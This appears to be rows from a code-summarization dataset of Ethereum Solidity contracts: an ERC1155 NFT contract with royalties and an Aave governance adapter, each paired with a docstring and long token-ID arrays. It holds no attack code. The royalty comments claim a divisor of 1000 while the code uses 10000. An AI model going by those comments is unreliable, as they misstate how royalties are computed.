* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
contract EIP2981 is IEIP2981, ERC165 {
address internal royaltyAddr;
uint256 internal royaltyPerc; // percentage in basis (out of 10,000)
/**
* @notice constructor
* @dev need inheriting contracts to accept the parameters in their constructor
* @param addr is the royalty payout address
* @param perc is the royalty percentage, multiplied by 1000. Ex: 7.5% => 750
*/
constructor(address addr, uint256 perc) {
royaltyAddr = addr;
royaltyPerc = perc;
}
/**
* @notice override ERC 165 implementation of this function
* @dev if using this contract with another contract that suppports ERC 265, will have to override in the inheriting contract
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165) returns (bool) {
return interfaceId == type(IEIP2981).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @notice EIP 2981 royalty support
* @dev royalty payout made to the owner of the contract and the owner can't be the 0 address
* @dev royalty amount determined when contract is deployed, and then divided by 1000 in this function
* @dev royalty amount not dependent on _tokenId
*/
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount) {
require(royaltyAddr != address(0));
return (royaltyAddr, royaltyPerc * _salePrice / 10000);
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
contract LIONDAO is ERC1155, EIP2981, Ownable {
using Strings for uint256;
string public name = "Lion DAO Legend";
string public symbol = "LGND";
uint256 public currentSupply = 0;
uint256 public maxTotalSupply = 111;
constructor(address _royaltyRecipient, uint256 _royaltyAmount) EIP2981(_royaltyRecipient, _royaltyAmount) ERC1155("ipfs://QmZv5444uaSCA1vBzXCyQduEZf9k3dW5Pzmsk5wqxzNWsp/") Ownable() {}
function supportsInterface(bytes4 _interfaceId) public view virtual override(ERC1155, EIP2981) returns (bool) {
return super.supportsInterface(_interfaceId);
}
function setBaseURI(string memory _uri) public onlyOwner {
_setURI(_uri);
emit URI(_uri, 0);
}
function uri(uint256 _tokenId) override public view returns (string memory) {
return string(abi.encodePacked(ERC1155.uri(_tokenId), _tokenId.toString(),".json"));
}
function totalSupply() public view returns(uint256) {
return maxTotalSupply;
}
function changeRoyaltyRecipient(address _newRecipient) public onlyOwner {
require(_newRecipient != address(0), "Error: new recipient is the zero address");
royaltyAddr = _newRecipient;
}
function changeRoyaltyPercentage(uint256 _newPerc) public onlyOwner {
require(_newPerc <= 10000, "Error: new percentage is greater than 10,0000");
royaltyPerc = _newPerc;
}
function mint(address account)
public
onlyOwner
{
require(currentSupply + 1 <= maxTotalSupply);
_mint(account, currentSupply + 1, 1, "");
currentSupply = 1 + currentSupply;
}
function addressBatchMint(address[] calldata _to)
public
onlyOwner
{
for (uint256 i = 0; i < _to.length; i++) {
mint(_to[i]);
}
}
} | @dev Interface for the NFT Royalty Standard is owed and to whom. | interface IEIP2981 {
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver,uint256 royaltyAmount);
}
| 201,973 | [
1,
1358,
364,
326,
423,
4464,
534,
13372,
15006,
8263,
1850,
353,
2523,
329,
471,
358,
600,
362,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5831,
10897,
2579,
5540,
11861,
288,
203,
203,
565,
445,
721,
93,
15006,
966,
12,
11890,
5034,
389,
2316,
548,
16,
2254,
5034,
389,
87,
5349,
5147,
13,
3903,
1476,
1135,
261,
2867,
5971,
16,
11890,
5034,
721,
93,
15006,
6275,
1769,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
Copyright 2021 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
/**
* @title AaveGovernanceV2Adapter
* @author Noah Citron
*
* Governance adapter for Aave governance that returns data for voting, delegating, and creating proposals
*/
contract AaveGovernanceV2Adapter {
/* ============ Constants ============ */
// Signature of delegate function
string public constant DELEGATE_SIGNATURE = "delegate(address)";
// Signature of vote function
string public constant VOTE_SIGNATURE = "submitVote(uint256,bool)";
// Signature of propose function
string public constant PROPOSE_SIGNATURE = "create(address,address[],uint256[],string[],bytes[],bool[],bytes32)";
/* ============ State Variables ============ */
// Address of Aave proto governance contract
address public immutable aaveGovernanceV2;
// Address of the Aave token
address public immutable aaveToken;
/* ============ Constructor ============ */
/**
* Set state variables
*
* @param _aaveGovernanceV2 Address of AAVE Governance V2 contract
*/
constructor(address _aaveGovernanceV2, address _aaveToken) public {
aaveGovernanceV2 = _aaveGovernanceV2;
aaveToken = _aaveToken;
}
/* ============ External Getter Functions ============ */
/**
* Generates the calldata to vote on a proposal.
*
* @param _proposalId ID of the proposal to vote on
* @param _support Boolean indicating whether to support proposal
*
* @return address Target contract address
* @return uint256 Total quantity of ETH (Set to 0)
* @return bytes Propose calldata
*/
function getVoteCalldata(uint256 _proposalId, bool _support, bytes memory /* _data */) external view returns (address, uint256, bytes memory) {
bytes memory callData = abi.encodeWithSignature(VOTE_SIGNATURE, _proposalId, _support);
return (aaveGovernanceV2, 0, callData);
}
/**
* Generates the calldata to delegate votes to another ETH address. Self and zero address allowed, which is equivalent to registering and revoking in Aave.
*
* @param _delegatee Address of the delegatee
*
* @return address Target contract address
* @return uint256 Total quantity of ETH (Set to 0)
* @return bytes Propose calldata
*/
function getDelegateCalldata(address _delegatee) external view returns (address, uint256, bytes memory) {
bytes memory callData = abi.encodeWithSignature(DELEGATE_SIGNATURE, _delegatee);
return (aaveToken, 0, callData);
}
/**
* Generates the calldata to create a new proposal.
* The caller must have proposition power higher than PROPOSITION_THRESHOLD to create a proposal.
* Executor is a contract deployed to validate proposal creation and voting.
* There two types of proposals and each has it's own executor.
* Critical proposals that affect governance consensus (long) and proposals affecting only protocol parameters (short).
* https://docs.aave.com/developers/protocol-governance/governance#proposal-types
*
* @param _proposalData Byte data containing data about the proposal
*
* @return address Target contract address
* @return uint256 Total quantity of ETH (Set to 0)
* @return bytes Propose calldata
*/
function getProposeCalldata(bytes memory _proposalData) external view returns (address, uint256, bytes memory) {
(
address executor,
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
bool[] memory withDelegateCalls,
bytes32 ipfsHash
) = abi.decode(_proposalData, (address,address[],uint256[],string[],bytes[],bool[],bytes32));
bytes memory callData = abi.encodeWithSignature(
PROPOSE_SIGNATURE,
executor,
targets,
values,
signatures,
calldatas,
withDelegateCalls,
ipfsHash
);
return (aaveGovernanceV2, 0, callData);
}
/**
* Reverts as AAVE currently does not have a register mechanism in governance
*/
function getRegisterCalldata(address /* _setToken */) external pure returns (address, uint256, bytes memory) {
revert("No register available in AAVE governance");
}
/**
* Reverts as AAVE currently does not have a revoke mechanism in governance
*/
function getRevokeCalldata() external pure returns (address, uint256, bytes memory) {
revert("No revoke available in AAVE governance");
}
}
| * Reverts as AAVE currently does not have a register mechanism in governance/ | function getRegisterCalldata(address /* _setToken */) external pure returns (address, uint256, bytes memory) {
revert("No register available in AAVE governance");
}
| 1,075,905 | [
1,
426,
31537,
487,
432,
26714,
4551,
1552,
486,
1240,
279,
1744,
12860,
316,
314,
1643,
82,
1359,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
336,
3996,
1477,
892,
12,
2867,
1748,
389,
542,
1345,
1195,
13,
3903,
16618,
1135,
261,
2867,
16,
2254,
5034,
16,
1731,
3778,
13,
288,
203,
3639,
15226,
2932,
2279,
1744,
2319,
316,
432,
26714,
314,
1643,
82,
1359,
8863,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/**
* @title The STT Token contract.
*
* By Nikita Fuchs
* Credit: Taking ideas from BAT token, NET token and Nimiq token.
*/
/**
* @title Safe math operations that throw error on overflow.
*
